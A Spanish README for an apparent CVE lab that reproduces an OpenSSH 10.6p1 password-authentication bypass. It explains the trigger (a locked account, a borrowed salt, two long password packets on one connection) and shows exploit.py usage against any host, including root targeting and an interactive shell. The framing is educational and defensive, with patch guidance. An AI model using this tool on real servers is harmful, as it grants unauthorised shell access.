
Docker A/B lab and Python validator reproducing the OpenSSH 10.6p1 musl password authentication bypass (CVE-2026-123158), with reproduction and patching docs.
Bypass de autenticación por contraseña en OpenSSH < 10.6p2 sobre musl y sin
PAM. Una cuenta cuyo campo de /etc/shadow es literalmente * acepta un
login sin conocer ninguna contraseña, siempre que exista otra cuenta local con
hash $5$/$6$ de la que sshd pueda tomar prestada la sal.
Este repositorio trae dos contenedores idénticos a un parche de distancia
(vulnerable 10.6p1 vs parcheado 10.6p2), un validador que demuestra el
fallo de forma determinista y la documentación completa para reproducirlo,
desplegarlo y corregirlo.
┌──────────────────────────────┐ ┌──────────────────────────────┐
│ :2201 OpenSSH 10.6p1 │ │ :2202 OpenSSH 10.6p2 │
│ vulnerable │ │ parcheado │
│ locked_demo + control_user │ │ locked_demo + control_user │
└──────────────────────────────┘ └──────────────────────────────┘
bypass OK bypass rechazado
| objetivo | comando | veredicto | exit |
|---|---|---|---|
vulnerable :2201 | ./exploit.py | VULNERABLE — bypass de autenticación confirmado | 0 |
parcheado :2202 | ./exploit.py -p 2202 | NO VULNERABLE — el bypass no se reprodujo | 1 |
── Pruebas ───────────────────────────────────────────────────────────────────
paso descripción usuario len conn resultado verif ms
01 control positivo (credencial correcta) control_user 15 1 ACCEPTED ok 49
02 control negativo (cuenta con hash) control_user 300 2 REJECTED ok 52
03 objetivo con contraseña corta locked_demo 14 3 REJECTED ok 53
10 objetivo, 300 bytes, 1 solo paquete locked_demo 300 4 REJECTED info 51
11a priming: cachea la sal de pick_salt() locked_demo 14 5 REJECTED ok 58
11b bypass: 300 bytes en la misma conexión locked_demo 300 5 ACCEPTED ok 14
│ uid=1001(locked_demo) gid=1001(locked_demo) groups=1001(locked_demo)
│ Linux 6.17.10+kali-amd64 x86_64
El paso 10 es la prueba de que un único intento no basta: el bypass
necesita dos paquetes de password en la misma conexión. Los detalles están en
docs/reproduccion.md.
git clone [email protected]:D1se0/CVE-2026-123158.git
cd CVE-2026-123158
python3 -m venv .venv && . .venv/bin/activate && pip install -r requirements.txt
./setup.sh # build (~2-4 min) + arranque + verificación
./exploit.py # vulnerable -> VULNERABLE (exit 0)
./exploit.py -p 2202 # parcheado -> NO VULNERABLE (exit 1)
./ips.sh # IP interna y puerto publicado de cada contenedor
Requisitos: Docker con compose (plugin o docker-compose), ~4 GB de RAM
libre para compilar OpenSSH, y python3 con paramiko para el validador.
| documento | contenido |
|---|---|
docs/reproduccion.md | el fallo paso a paso, el código implicado, por qué hacen falta dos intentos, qué no se reproduce, y cómo verificarlo a mano con ssh |
docs/despliegue.md | cómo se construye y arranca el laboratorio, verificación, ips.sh, ejecución remota, troubleshooting y limpieza |
docs/parcheo.md | el fix upstream (MIN_PASSWORD_HASH_LEN), actualización por distribución, mitigaciones temporales, cómo auditar si un servidor es vulnerable |
.
├── docker-compose.yml # dos servicios, puertos 2201/2202, healthchecks
├── setup.sh # build + up + espera healthy + verificación
├── exploit.py # validador (matriz de controles, --sweep, --json)
├── ips.sh # IPs internas y puertos publicados de los contenedores
├── requirements.txt # paramiko
├── vulnerable/ # OpenSSH 10.6p1 compilado desde tarball, sin PAM
│ ├── Dockerfile
│ ├── entrypoint.sh # crea cuentas y valida precondiciones
│ └── sshd_config
└── patched/ # OpenSSH 10.6p2, todo lo demás idéntico
exploit.py./exploit.py # [email protected]:2201
./exploit.py -p 2202 # contra el parcheado
./exploit.py --host 172.18.0.3 -p 22 # por IP interna del contenedor
./exploit.py --sweep # barrido 128..1025 bytes
./exploit.py --json informe.json -q # informe + solo veredicto
./exploit.py -u root # root también es alcanzable en el lab
./exploit.py --shell # tras confirmar, shell interactiva
--shell (o -i) pide un PTY al servidor y te deja una sesión interactiva
dentro del objetivo, igual que un ssh normal: prompt, resize de ventana,
Ctrl-C al proceso remoto y exit/Ctrl-D para salir.
| opción | descripción |
|---|---|
host | host SSH (def. 127.0.0.1) |
-p, --port | puerto SSH (def. 2201) |
-u, --target-user | cuenta con * en shadow (def. locked_demo) |
-c, --control-user | cuenta con contraseña real (def. control_user) |
--control-password | contraseña de esa cuenta (def. LabPassword123!) |
-l, --length | longitud del password de bypass (def. 300, útil 257–1024) |
--command | comando tras el login (def. id; uname -srm) |
-i, --shell | tras confirmar el bypass, abre una shell interactiva (exit 2 si no se puede) |
--sweep | prueba 128, 256, 257, 300, 512, 1024, 1025 |
-t, --timeout | timeout por operación (def. 10 s) |
-r, --retries | reintentos de conexión (def. 2) |
--json RUTA | informe JSON con todos los intentos |
-q, --quiet | solo el veredicto |
-v, --verbose | detalle adicional |
--no-color | sin color (también respeta NO_COLOR) |
Códigos de salida: 0 bypass confirmado (y shell abierta si se pidió) · 1
no reproducido · 2 inconcluso (error de entorno, controles incoherentes o
shell que no se pudo abrir). Eso permite usarlo en CI:
./exploit.py && echo "sigue vulnerable".
ips.shDocker asigna una IP nueva cada vez que se recrea un contenedor. Este script la consulta en vivo para que no tengas que recordarla:
./ips.sh # tabla: contenedor, rol, estado, IP interna, puerto, alcance
./ips.sh --json # JSON para scripts
./ips.sh --env # export LAB_VULN_HOST=... listo para `eval "$(./ips.sh --env)"`
| cuenta | shadow | papel |
|---|---|---|
control_user | hash $6$ (contraseña LabPassword123!) | control positivo del validador y donante de sal |
locked_demo | * | objetivo del bypass |
root | * | también alcanzable aquí porque el lab usa PermitRootLogin yes |
Las contraseñas y cuentas son deliberadamente de laboratorio. No reutilices
este sshd_config fuera de un entorno aislado.
Material educativo y de validación, pensado para contenedores locales o máquinas de laboratorio propias. No lo apuntes contra sistemas de terceros: en muchas jurisdicciones el acceso no autorizado es delito. El repositorio no incluye ningún binario vulnerable, solo instrucciones para compilar la versión pública desde su tarball oficial y verificar el fallo.